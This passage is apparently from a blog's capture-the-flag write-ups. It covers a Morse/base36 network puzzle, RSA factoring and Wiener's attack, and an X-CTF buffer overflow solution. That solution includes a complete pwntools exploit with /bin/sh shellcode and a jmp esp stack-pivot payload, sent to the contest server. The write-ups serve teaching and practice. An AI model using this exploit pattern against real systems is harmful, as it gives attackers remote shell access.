-.... <span class="nt">----</span><span class="nb">.</span> <span class="nt">---</span> <span class="nb">.</span> .... ...- ...-- ...- .---- - ...- -.- -.-. .- .- <span class="nt">---</span>.. ..- .-- <span class="nt">--</span><span class="nb">.</span> ....- .-. -... .. -.-- .-.. -. <span class="nt">--</span><span class="nb">.</span> <span class="nt">---</span>.. - <span class="nb">.</span> <span class="nt">--</span> <span class="nt">--</span>.- ....- -... <span class="nt">---</span>.. .- <span class="nt">-----</span> .- ...-- .--- ..- -. .---- ...- -..- .--- .--. -..- .-.. <span class="nt">----</span><span class="nb">.</span> <span class="nt">--</span>.. -.-- ...-- <span class="nt">--</span>.. <span class="nb">.</span> <span class="nt">----</span><span class="nb">.</span> .-- - <span class="nt">--</span>.. ....- .-.. -.. -.-. <span class="nt">-----</span> <span class="nb">.</span> ..- .. -.... .. - ...- .-- -. <span class="nt">----</span><span class="nb">.</span> -.. .---- -.- -. .---- .-. -.- .... -.- .--. <span class="nt">--</span> ..- .... <span class="nt">--</span>.. <span class="nt">-----</span> ....- <span class="nt">--</span><span class="nb">.</span> ...- -. <span class="nt">----</span><span class="nb">.</span> ...- .. ..--- -. .--. .--- .... ....- -.-- ...- -..- -.... ..- .- <span class="nt">--</span>.- <span class="nt">--</span>... <span class="nt">--</span>..
</pre></td></tr></tbody></table></code></pre></figure>
<p>I then use a simple python script to encode/decode the morse code, to give:</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
</pre></td><td class="code"><pre>69OEHV3V1TVKCAA8UWG4RBIYLNG8TEMQ4B8A0A3JUN1VXJPXL9ZY3ZE9WTZ4LDC0EUI6ITVWN9D1KN1RKHKPMUHZ04GVN9VI2NPJH4YVX6UAQ7Z
</pre></td></tr></tbody></table></code></pre></figure>
<p>This is encoded with base36 encoding, we can decode with python easily by using <code class="language-plaintext highlighter-rouge">int(a,36)</code> on it and then decoding with hex.</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="code"><pre><span class="o">>>></span> a <span class="o">=</span> <span class="s1">'69OEHV3V1TVKCAA8UWG4RBIYLNG8TEMQ4B8A0A3JUN1VXJPXL9ZY3ZE9WTZ4LDC0EUI6ITVWN9D1KN1RKHKPMUHZ04GVN9VI2NPJH4YVX6UAQ7Z'</span>
<span class="o">>>></span> <span class="o">(</span><span class="s2">"0"</span>+hex<span class="o">(</span>int<span class="o">(</span>a,36<span class="o">))[</span>2:-1]<span class="o">)</span>.decode<span class="o">(</span><span class="s1">'hex'</span><span class="o">)</span>
<span class="s2">"</span><span class="se">\n</span><span class="s2"> ,=|=.</span><span class="se">\n</span><span class="s2">(XXXXX)</span><span class="se">\n</span><span class="s2"> | |</span><span class="se">\n</span><span class="s2"> </span><span class="se">\\</span><span class="s2"> /</span><span class="se">\n</span><span class="s2"> </span><span class="sb">`</span>+<span class="s1">'\nWhat is the SHA256(Acorn3548096305)?"</span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>So we can see that the response we need to provide is the answer to <code class="language-plaintext highlighter-rouge">SHA256(Acorn3548096305)</code>.</p>
<p>I wrote a python script to automate the entire process + encode the answer back to base36 + morse code before replying the service and getting the flag.</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
</pre></td><td class="code"><pre><span class="kn">import</span> <span class="nn">sys</span>
<span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">context</span><span class="p">(</span><span class="n">arch</span> <span class="o">=</span> <span class="s">'i386'</span><span class="p">,</span> <span class="n">os</span> <span class="o">=</span> <span class="s">'linux'</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">base36encode</span><span class="p">(</span><span class="n">number</span><span class="p">):</span>
<span class="k">if</span> <span class="ow">not</span> <span class="nb">isinstance</span><span class="p">(</span><span class="n">number</span><span class="p">,</span> <span class="p">(</span><span class="nb">int</span><span class="p">,</span> <span class="nb">long</span><span class="p">)):</span>
<span class="k">raise</span> <span class="nb">TypeError</span><span class="p">(</span><span class="s">'number must be an integer'</span><span class="p">)</span>
<span class="k">if</span> <span class="n">number</span> <span class="o"><</span> <span class="mi">0</span><span class="p">:</span>
<span class="k">raise</span> <span class="nb">ValueError</span><span class="p">(</span><span class="s">'number must be positive'</span><span class="p">)</span>
<span class="n">alphabet</span><span class="p">,</span> <span class="n">base36</span> <span class="o">=</span> <span class="p">[</span><span class="s">'0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'</span><span class="p">,</span> <span class="s">''</span><span class="p">]</span>
<span class="k">while</span> <span class="n">number</span><span class="p">:</span>
<span class="n">number</span><span class="p">,</span> <span class="n">i</span> <span class="o">=</span> <span class="nb">divmod</span><span class="p">(</span><span class="n">number</span><span class="p">,</span> <span class="mi">36</span><span class="p">)</span>
<span class="n">base36</span> <span class="o">=</span> <span class="n">alphabet</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">+</span> <span class="n">base36</span>
<span class="k">return</span> <span class="n">base36</span> <span class="ow">or</span> <span class="n">alphabet</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span>
<span class="n">morseAlphabet</span> <span class="o">=</span><span class="p">{</span><span class="s">'A'</span><span class="p">:</span> <span class="s">'.-'</span><span class="p">,</span> <span class="s">'B'</span><span class="p">:</span> <span class="s">'-...'</span><span class="p">,</span> <span class="s">'C'</span><span class="p">:</span> <span class="s">'-.-.'</span><span class="p">,</span>
<span class="s">'D'</span><span class="p">:</span> <span class="s">'-..'</span><span class="p">,</span> <span class="s">'E'</span><span class="p">:</span> <span class="s">'.'</span><span class="p">,</span> <span class="s">'F'</span><span class="p">:</span> <span class="s">'..-.'</span><span class="p">,</span>
<span class="s">'G'</span><span class="p">:</span> <span class="s">'--.'</span><span class="p">,</span> <span class="s">'H'</span><span class="p">:</span> <span class="s">'....'</span><span class="p">,</span> <span class="s">'I'</span><span class="p">:</span> <span class="s">'..'</span><span class="p">,</span>
<span class="s">'J'</span><span class="p">:</span> <span class="s">'.---'</span><span class="p">,</span> <span class="s">'K'</span><span class="p">:</span> <span class="s">'-.-'</span><span class="p">,</span> <span class="s">'L'</span><span class="p">:</span> <span class="s">'.-..'</span><span class="p">,</span>
<span class="s">'M'</span><span class="p">:</span> <span class="s">'--'</span><span class="p">,</span> <span class="s">'N'</span><span class="p">:</span> <span class="s">'-.'</span><span class="p">,</span> <span class="s">'O'</span><span class="p">:</span> <span class="s">'---'</span><span class="p">,</span>
<span class="s">'P'</span><span class="p">:</span> <span class="s">'.--.'</span><span class="p">,</span> <span class="s">'Q'</span><span class="p">:</span> <span class="s">'--.-'</span><span class="p">,</span> <span class="s">'R'</span><span class="p">:</span> <span class="s">'.-.'</span><span class="p">,</span>
<span class="s">'S'</span><span class="p">:</span> <span class="s">'...'</span><span class="p">,</span> <span class="s">'T'</span><span class="p">:</span> <span class="s">'-'</span><span class="p">,</span> <span class="s">'U'</span><span class="p">:</span> <span class="s">'..-'</span><span class="p">,</span>
<span class="s">'V'</span><span class="p">:</span> <span class="s">'...-'</span><span class="p">,</span> <span class="s">'W'</span><span class="p">:</span> <span class="s">'.--'</span><span class="p">,</span> <span class="s">'X'</span><span class="p">:</span> <span class="s">'-..-'</span><span class="p">,</span>
<span class="s">'Y'</span><span class="p">:</span> <span class="s">'-.--'</span><span class="p">,</span> <span class="s">'Z'</span><span class="p">:</span> <span class="s">'--..'</span><span class="p">,</span>
<span class="s">'0'</span><span class="p">:</span> <span class="s">'-----'</span><span class="p">,</span> <span class="s">'1'</span><span class="p">:</span> <span class="s">'.----'</span><span class="p">,</span> <span class="s">'2'</span><span class="p">:</span> <span class="s">'..---'</span><span class="p">,</span>
<span class="s">'3'</span><span class="p">:</span> <span class="s">'...--'</span><span class="p">,</span> <span class="s">'4'</span><span class="p">:</span> <span class="s">'....-'</span><span class="p">,</span> <span class="s">'5'</span><span class="p">:</span> <span class="s">'.....'</span><span class="p">,</span>
<span class="s">'6'</span><span class="p">:</span> <span class="s">'-....'</span><span class="p">,</span> <span class="s">'7'</span><span class="p">:</span> <span class="s">'--...'</span><span class="p">,</span> <span class="s">'8'</span><span class="p">:</span> <span class="s">'---..'</span><span class="p">,</span>
<span class="s">'9'</span><span class="p">:</span> <span class="s">'----.'</span>
<span class="p">}</span>
<span class="n">inverseMorseAlphabet</span><span class="o">=</span><span class="nb">dict</span><span class="p">((</span><span class="n">v</span><span class="p">,</span><span class="n">k</span><span class="p">)</span> <span class="k">for</span> <span class="p">(</span><span class="n">k</span><span class="p">,</span><span class="n">v</span><span class="p">)</span> <span class="ow">in</span> <span class="n">morseAlphabet</span><span class="p">.</span><span class="n">items</span><span class="p">())</span>
<span class="c1"># parse a morse code string positionInString is the starting point for decoding
</span><span class="k">def</span> <span class="nf">decodeMorse</span><span class="p">(</span><span class="n">code</span><span class="p">,</span> <span class="n">positionInString</span> <span class="o">=</span> <span class="mi">0</span><span class="p">):</span>
<span class="k">if</span> <span class="n">positionInString</span> <span class="o"><</span> <span class="nb">len</span><span class="p">(</span><span class="n">code</span><span class="p">):</span>
<span class="n">morseLetter</span> <span class="o">=</span> <span class="s">""</span>
<span class="k">for</span> <span class="n">key</span><span class="p">,</span><span class="n">char</span> <span class="ow">in</span> <span class="nb">enumerate</span><span class="p">(</span><span class="n">code</span><span class="p">[</span><span class="n">positionInString</span><span class="p">:]):</span>
<span class="k">if</span> <span class="n">char</span> <span class="o">==</span> <span class="s">" "</span><span class="p">:</span>
<span class="n">positionInString</span> <span class="o">=</span> <span class="n">key</span> <span class="o">+</span> <span class="n">positionInString</span> <span class="o">+</span> <span class="mi">1</span>
<span class="n">letter</span> <span class="o">=</span> <span class="n">inverseMorseAlphabet</span><span class="p">[</span><span class="n">morseLetter</span><span class="p">]</span>
<span class="k">return</span> <span class="n">letter</span> <span class="o">+</span> <span class="n">decodeMorse</span><span class="p">(</span><span class="n">code</span><span class="p">,</span> <span class="n">positionInString</span><span class="p">)</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">morseLetter</span> <span class="o">+=</span> <span class="n">char</span>
<span class="k">else</span><span class="p">:</span>
<span class="k">return</span> <span class="s">""</span>
<span class="c1">#encode a message in morse code, spaces between words are represented by '/'
</span><span class="k">def</span> <span class="nf">encodeToMorse</span><span class="p">(</span><span class="n">message</span><span class="p">):</span>
<span class="n">encodedMessage</span> <span class="o">=</span> <span class="s">""</span>
<span class="k">for</span> <span class="n">char</span> <span class="ow">in</span> <span class="n">message</span><span class="p">[:]:</span>
<span class="n">encodedMessage</span> <span class="o">+=</span> <span class="n">morseAlphabet</span><span class="p">[</span><span class="n">char</span><span class="p">.</span><span class="n">upper</span><span class="p">()]</span> <span class="o">+</span> <span class="s">" "</span>
<span class="k">return</span> <span class="n">encodedMessage</span>
<span class="n">r</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s">'morset.pwning.xxx'</span><span class="p">,</span> <span class="mi">11821</span><span class="p">)</span>
<span class="n">challenge</span> <span class="o">=</span> <span class="n">r</span><span class="p">.</span><span class="n">recvline</span><span class="p">();</span>
<span class="n">challenge</span> <span class="o">=</span> <span class="n">challenge</span><span class="p">.</span><span class="n">strip</span><span class="p">()</span><span class="o">+</span><span class="s">" "</span>
<span class="n">challenge</span> <span class="o">=</span> <span class="n">decodeMorse</span><span class="p">(</span><span class="n">challenge</span><span class="p">);</span>
<span class="n">challenge</span> <span class="o">=</span> <span class="s">"0"</span><span class="o">+</span><span class="nb">hex</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="n">challenge</span><span class="p">,</span><span class="mi">36</span><span class="p">))[</span><span class="mi">2</span><span class="p">:]</span>
<span class="n">challenge</span> <span class="o">=</span> <span class="n">challenge</span><span class="p">.</span><span class="n">decode</span><span class="p">(</span><span class="s">'hex'</span><span class="p">)</span>
<span class="k">print</span> <span class="n">challenge</span>
<span class="n">index</span> <span class="o">=</span> <span class="n">challenge</span><span class="p">.</span><span class="n">index</span><span class="p">(</span><span class="s">'6('</span><span class="p">)</span>
<span class="kn">import</span> <span class="nn">hashlib</span>
<span class="n">response</span> <span class="o">=</span> <span class="n">hashlib</span><span class="p">.</span><span class="n">sha256</span><span class="p">(</span><span class="n">challenge</span><span class="p">[</span><span class="n">index</span><span class="o">+</span><span class="mi">2</span><span class="p">:</span><span class="o">-</span><span class="mi">2</span><span class="p">]).</span><span class="n">digest</span><span class="p">().</span><span class="n">encode</span><span class="p">(</span><span class="s">'hex'</span><span class="p">)</span>
<span class="n">response</span> <span class="o">=</span> <span class="n">base36encode</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">response</span><span class="p">).</span><span class="n">encode</span><span class="p">(</span><span class="s">'hex'</span><span class="p">),</span><span class="mi">16</span><span class="p">))</span>
<span class="k">print</span> <span class="s">"SENDING"</span>
<span class="n">r</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">encodeToMorse</span><span class="p">(</span><span class="n">response</span><span class="p">))</span>
<span class="k">print</span> <span class="nb">hex</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="n">decodeMorse</span><span class="p">(</span><span class="n">r</span><span class="p">.</span><span class="n">recvline</span><span class="p">().</span><span class="n">strip</span><span class="p">()</span><span class="o">+</span><span class="s">" "</span><span class="p">),</span><span class="mi">36</span><span class="p">))[</span><span class="mi">2</span><span class="p">:].</span><span class="n">decode</span><span class="p">(</span><span class="s">'hex'</span><span class="p">);</span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>Running the script gives us the flag:</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
</pre></td><td class="code"><pre>→ python Morset_getFlag.py
<span class="o">[</span>+] Opening connection to morset.pwning.xxx on port 11821: Done
,<span class="o">)</span><span class="nb">.</span>
<span class="o">((</span>|<span class="o">))</span>
<span class="sb">``</span><span class="s1">'
What is the SHA256(Pumpkin4202429674)?
SENDING
Nice! Here'</span>s a flag <span class="k">for </span>you: PCTF<span class="o">{</span>c0c0c0nutBaze_4__d4ys<span class="o">}</span><span class="nb">.</span>
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Closed connection to morset.pwning.xxx port 11821
</pre></td></tr></tbody></table></code></pre></figure>
<p>And yay! we got the flag: <strong><em>PCTF{c0c0c0nutBaze_4__d4ys}</em></strong>.</p>
<p>Unfortunately I was busy with school and did not manage to play much or to solve other challenges.</p>
<p><a href="https://quanyang.github.io/plaid-ctf-2016-morset-misc-50/">Plaid CTF 2016 - Morset (Misc 50)</a> was originally published by Yeo Quan Yang at <a href="https://quanyang.github.io">Quan Yang</a> on April 22, 2016.</p>
https://quanyang.github.io/x-ctf-b0verfl0w-pwn2016-04-21T17:03:15+00:002016-04-21T17:03:15+00:00Yeo Quan Yanghttps://quanyang.github.io
<p>X-CTF is a capture the flag competition in Singapore organized by NUS Greyhats. The online qualifiers took place over the weekend of 9 - 10 April 2016. Halfway through the competition, we realize that the challenges were solved pretty quickly by the participants, and thus I wrote some new challenges. The following two challenges were by me.</p>
<h1 id="b0verfl0w">b0verfl0w</h1>
<p><strong>Category:</strong> Pwn<br />
<strong>Description</strong>
<a href="/resources/files/x-ctf/c343c76a9bc18021a2ebda77730d85e1">b0verfl0w</a> is running at 188.166.226.181:4242.</p>
<hr />
<h1 id="solution">Solution</h1>
<p>So from the name of the challenge, this is an obvious buffer overflow challenge. However, obvious it would not be as simple as a classic buffer overflow. In this case, we’re given the binary without the source code, so first thing to do is to analyze the binary for the buffer overflow vulnerability, and to determine if there are any useful gadgets we can use to build an exploit.</p>
<p>We got a 32-bit ELF executable here.</p>
<figure class="highlight"><pre><code class="language-sh" data-lang="sh"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
</pre></td><td class="code"><pre>→ file <span class="k">*</span>
c343c76a9bc18021a2ebda77730d85e1: ELF 32-bit LSB executable, Intel 80386, version 1 <span class="o">(</span>SYSV<span class="o">)</span>, dynamically linked <span class="o">(</span>uses shared libs<span class="o">)</span>, <span class="k">for </span>GNU/Linux 2.6.24, not stripped
→ ./boverflow
<span class="o">======================</span>
Welcome to X-CTF 2016!
<span class="o">======================</span>
What<span class="s1">'s your name?
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.Segmentation fault (core dumped)</span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>The vulnerability is very obviously on the name input. There are many ways to continue from here, and what I am writing is just one of the way.</p>
<p>Using GDB with peda, I am able to quickly find the amount of offset required until the EIP register using the pattern search plugin.</p>
<figure class="highlight"><pre><code class="language-sh" data-lang="sh"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
</pre></td><td class="code"><pre>gdb-peda<span class="nv">$ </span>pattern create 100 /tmp/input
Writing pattern of 100 chars to filename <span class="s2">"/tmp/input"</span>
gdb-peda<span class="nv">$ </span>r < /tmp/input
Starting program: /home/vagrant/CTF/X-CTF/xctf-2016-challs/qualifiers/pwn/b0verfl0w/grader/b0verfl0w_dep/boverflow < /tmp/input
<span class="o">======================</span>
Welcome to X-CTF 2016!
<span class="o">======================</span>
What<span class="se">\'</span>s your name?
Hello AAA%AAsAABAA<span class="nv">$AAnAACAA</span><span class="nt">-AA</span><span class="o">(</span>AADAA<span class="p">;</span>AA<span class="o">)</span>AAEAAaAA0AAFAAb.
Program received signal SIGSEGV, Segmentation fault.
gdb-peda<span class="nv">$ </span>pattern search
Registers contain pattern buffer:
EBP+0 found at offset: 32
EIP+0 found at offset: 36
</pre></td></tr></tbody></table></code></pre></figure>
<p>So what this tells me is that I’ll have to fill the first 36 bytes of input with junk before filling the 4 bytes with the memory address I’d like the program to jump to.</p>
<p>In a classical buffer overflow, what I’d do is to fill the 36 bytes with shellcode, and then modify the EIP value to jump to where my shellcode is located. However, this is only feasible if (1) I know the memory address of the shellcode, (2) DEP is not enabled and (3) if ASLR was not enabled, it’d be slightly easier to bruteforce the memory address of the shellcode.</p>
<p>In this case, DEP is disabled. However, we do not have any information of the memory layout or the libc addresses (which would allows us to craft a return-to-libc or ROP exploit).</p>
<p>However, upon closer inspection, you will notice that there are some ROP gadgets provided in the binary that could allow us to perform stack pivoting and thus execute our shellcode. Conveniently it’s contained in a function called <code class="language-plaintext highlighter-rouge">hint</code> ;).</p>
<figure class="highlight"><pre><code class="language-objdump" data-lang="objdump"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
</pre></td><td class="code"><pre>80484fd <hint>:
80484fd: 55 push %ebp
80484fe: 89 e5 mov %esp,%ebp
8048500: 83 ec 24 sub $0x24,%esp
8048503: c3 ret
8048504: ff e4 jmp *%esp
8048506: c3 ret
8048507: b8 01 00 00 00 mov $0x1,%eax
804850c: 5d pop %ebp
804850d: c3 ret
</pre></td></tr></tbody></table></code></pre></figure>
<p>We see a <code class="language-plaintext highlighter-rouge">jmp $esp</code> followed by a <code class="language-plaintext highlighter-rouge">ret</code> instruction that would allow us to perform a stack pivot.</p>
<p>Memory layout:<br />
| Shellcode | Offset | 0x08048504 | Shellcode to perform stack pivoting |</p>
<p>At the point when the program jumps to 0x08048504, $esp would be pointing at the start of <code class="language-plaintext highlighter-rouge">Shellcode to perform stack pivoting</code>, so what is needed here to do a stack pivot is <code class="language-plaintext highlighter-rouge">sub 0x28,$esp</code> followed by <code class="language-plaintext highlighter-rouge">jmp $esp</code> again. However, you need to convert the instructions into their respective hex representation. We perform a sub 0x28 because the <code class="language-plaintext highlighter-rouge">shellcode + payload + 0x08048504</code> takes up 40 bytes and we want the next <code class="language-plaintext highlighter-rouge">jmp $esp</code> to jump to the start of our shellcode.</p>
<p>For the shellcode portion, you can use any simple shellcode off the internet.</p>
<p>I wrote the exploit in python and used the pwntools library to simplify the entire exploitation process.<br />
Final exploit:</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
</pre></td><td class="code"><pre><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">r</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s">'188.166.226.181'</span><span class="p">,</span> <span class="mi">4242</span><span class="p">)</span>
<span class="n">Shellcode</span> <span class="o">=</span> <span class="s">"</span><span class="se">\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80</span><span class="s">"</span>
<span class="n">Payload</span> <span class="o">=</span> <span class="s">"A"</span><span class="o">*</span><span class="mi">13</span>
<span class="n">JmpESPGadget</span> <span class="o">=</span> <span class="s">"</span><span class="se">\x04\x85\x04\x08</span><span class="s">"</span>
<span class="n">ShellcodeStackPivot</span> <span class="o">=</span> <span class="s">"</span><span class="se">\x83\xec\x28\xff\xe4</span><span class="s">"</span>
<span class="n">payload</span> <span class="o">=</span> <span class="n">Shellcode</span> <span class="o">+</span> <span class="n">Payload</span> <span class="o">+</span> <span class="n">JmpESPGadget</span> <span class="o">+</span> <span class="n">ShellcodeStackPivot</span>
<span class="k">print</span> <span class="n">payload</span>
<span class="n">r</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
<span class="n">r</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>Running our exploit provides us with a shell. :)</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
</pre></td><td class="code"><pre><span class="nv">$ </span><span class="nb">cat </span>flag.txt
XCTF<span class="o">{</span>b0verfl0wed_w3ll_d0ne<span class="o">}</span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>And we have our flag!</p>
<p><a href="https://quanyang.github.io/x-ctf-b0verfl0w-pwn/">X-CTF Quals 2016 - b0verfl0w (Pwn)</a> was originally published by Yeo Quan Yang at <a href="https://quanyang.github.io">Quan Yang</a> on April 21, 2016.</p>
https://quanyang.github.io/x-ctf-fact0r!z3-and-fact0r!z3_aga!n-crypto2016-04-21T10:47:25+00:002016-04-21T10:47:25+00:00Yeo Quan Yanghttps://quanyang.github.io
<p>X-CTF is a capture the flag competition in Singapore organized by NUS Greyhats. The online qualifiers took place over the weekend of 9 - 10 April 2016. Halfway through the competition, we realize that the challenges were solved pretty quickly by the participants, and thus I wrote some new challenges. The following two challenges were by me.</p>
<h1 id="fact0rz3">Fact0r!z3</h1>
<p><strong>Category:</strong> Crypto<br />
<strong>Description</strong>
Can you decrypt this?<br />
<a href="/resources/files/x-ctf/4b5978caa2cef859f97d0443ada4db40">Encrypted.zip</a>.</p>
<hr />
<h1 id="solution">Solution</h1>
<p>This is a simple challenge, I made this as a prequel to the next challenge. The solution is to factorize the modulus value of the RSA public key, allowing you to calculate the decryption key.</p>
<p>After downloading the file, uncompress the archive file.</p>
<figure class="highlight"><pre><code class="language-sh" data-lang="sh"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="code"><pre>→ <span class="nb">tar </span>zxvf 4b5978caa2cef859f97d0443ada4db40
x 8987609732e4da707a5d7563bd619f53
x flag.enc
</pre></td></tr></tbody></table></code></pre></figure>
<p>It’s quite obvious that we’re suppose to decrypt <code class="language-plaintext highlighter-rouge">flag.enc</code> in order to obtain the flag.</p>
<p>Using OpenSSL, we can obtain the content of the public key.</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
</pre></td><td class="code"><pre>→ openssl rsa <span class="nt">-text</span> <span class="nt">-pubin</span> <span class="nt">-in</span> 8987609732e4da707a5d7563bd619f53
Modulus <span class="o">(</span>447 bit<span class="o">)</span>:
48:e8:f0:19:5d:8c:7b:0a:f1:4b:7f:ae:1b:d9:f8:
e4:08:77:44:8e:66:44:e9:f5:83:cd:76:57:d2:36:
5c:7f:83:51:99:08:e1:1f:6e:41:35:bb:f7:6a:76:
b9:80:cc:d1:e6:99:43:dd:39:f5:3d
Exponent: 65537 <span class="o">(</span>0x10001<span class="o">)</span>
writing RSA key
<span class="nt">-----BEGIN</span> PUBLIC KEY-----
MFMwDQYJKoZIhvcNAQEBBQADQgAwPwI4SOjwGV2MewrxS3+uG9n45Ah3RI5mROn1
g812V9I2XH+DUZkI4R9uQTW792p2uYDM0eaZQ9059T0CAwEAAQ<span class="o">==</span>
<span class="nt">-----END</span> PUBLIC KEY-----
</pre></td></tr></tbody></table></code></pre></figure>
<p>Using some python kungfu, we can obtain the Integer value of the Modulus to give : 207006830488235668671955689390815624796833363161842587562758966652474780634716637447867252305688653008916026906416134119860202636965181</p>
<p>Throw this into factordb.com, and we can see that this modulus value is easily factorized.</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
</pre></td><td class="code"><pre>p <span class="o">=</span> 3133337
q <span class="o">=</span> 66065932419090467661779020064172996647610315507665657272983712461339070975996720891454462863614304177595970974847625429329881413
</pre></td></tr></tbody></table></code></pre></figure>
<p>Using RSAtool.py, we can reconstruct the private key file, allowing us to decrypt <code class="language-plaintext highlighter-rouge">flag.enc</code>.</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
</pre></td><td class="code"><pre>→ python ~/CTF/tools/rsatool.py <span class="nt">-p</span> 3133337 <span class="nt">-q</span> 66065932419090467661779020064172996647610315507665657272983712461339070975996720891454462863614304177595970974847625429329881413 <span class="nt">-e</span> 65537 <span class="nt">-o</span> key.pem
Using <span class="o">(</span>p, q<span class="o">)</span> to initialise RSA instance
n <span class="o">=</span>
48e8f0195d8c7b0af14b7fae1bd9f8e40877448e6644e9f583cd7657d2365c7f83519908e11f6e41
35bbf76a76b980ccd1e69943dd39f53d
e <span class="o">=</span> 65537 <span class="o">(</span>0x10001<span class="o">)</span>
d <span class="o">=</span>
d94d65c2a8045044cdf2ffaeb5ad759f5bf0b8584bb61f3bd878aa47267f99994b86491e0a427c57
2f77adc1ad492131dc6db513b3b221
p <span class="o">=</span> 3133337 <span class="o">(</span>0x2fcf99<span class="o">)</span>
q <span class="o">=</span>
18663ff92c4c79e1a244f109ad859cecfb34d162303f3f6e525e411dfa723a7a18af3732239f058b
2e524d819a28c3d4e9c4d83a945
Saving PEM as key.pem
→ openssl rsautl <span class="nt">-decrypt</span> <span class="nt">-inkey</span> key.pem <span class="nt">-in</span> flag.enc
XCTF<span class="o">{</span>S33MZ_L!K3_Y0U_fact0r!zed_!T<span class="o">}</span>
</pre></td></tr></tbody></table></code></pre></figure>
<p>And we got the flag for the first part! <code class="language-plaintext highlighter-rouge">XCTF{S33MZ_L!K3_Y0U_fact0r!zed_!T}</code></p>
<hr />
<h1 id="fact0rz3_agan">Fact0r!z3_aga!n</h1>
<p><strong>Category:</strong> Crypto<br />
<strong>Description</strong>
Can you decrypt it this time? A litle bird told me that if the d value is small, it would be possible.<br />
<a href="/resources/files/579cc1b2804ac9981610320f5e77230c">Encrypted.zip</a>.</p>
<hr />
<p>This is the sequel to the previous challenge and as the sequel, it is considered more difficult. Likewise like the previous challenge, the objective of this challenge is to factorize the modulus value of the public key in order to reconstruct the private key.</p>
<p>There’s an additional hint provided here as well. <code class="language-plaintext highlighter-rouge">A litle bird told me that if the d value is small, it would be possible.</code><br />
This was hinting that the d value is small, and that certain RSA attack would work as the d value is smaller. In this case <a href="https://en.wikipedia.org/wiki/Wiener%27s_attack">Wiener’s attack</a> was possible as \(d<\frac{1}{3}n^\frac{1}{4}\).</p>
<p>Following the same steps as the previous challenge, we first obtain the modulus and e values of the public key.</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
</pre></td><td class="code"><pre>n <span class="o">=</span> 1358016654793718168576890372704045370292566693250198337571997713911873446535830350906288566272075747587625218927182158794773627266352290009114996887264885273166024519614459408235461543052969897056498639245852139107189600240612291331078593266375574088348938551792344519865321083218447570464200135681789040698448141245180753009200026942273771102971607691513134494634442001453402739091058614558399864407649009999241938404547068622618622996222788477239323058919028619017187860542797806083989245206963757505047738707660921123080733896257510371124808120528550409099172252647694465039601292947708319054049548469524371745309
